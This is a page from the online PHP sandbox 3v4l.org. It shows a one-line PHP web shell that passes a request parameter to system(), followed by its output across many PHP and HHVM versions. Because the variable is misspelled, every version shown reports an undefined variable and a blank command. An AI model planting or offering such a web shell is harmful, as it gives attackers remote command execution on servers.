3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php system($_request['cmd']); ?>
Output for 5.0.4 - 5.6.28, 7.0.0 - 7.1.0
Notice: Undefined variable: _request in /in/Misjd on line 2 Warning: system(): Cannot execute a blank command in /in/Misjd on line 2
Output for hhvm-3.10.0 - 3.12.0
Notice: Undefined variable: _request in /in/Misjd on line 2 Failed to exec: `'
Output for 4.3.2 - 5.0.3
Notice: Undefined variable: _request in /in/Misjd on line 2 Warning: system(): Cannot execute a blank command in /in/Misjd on line 2
Output for 4.3.0 - 4.3.1
Notice: Undefined variable: _request in /in/Misjd on line 2 Warning: system() [http://www.php.net/function.system]: Cannot execute a blank command in /in/Misjd on line 2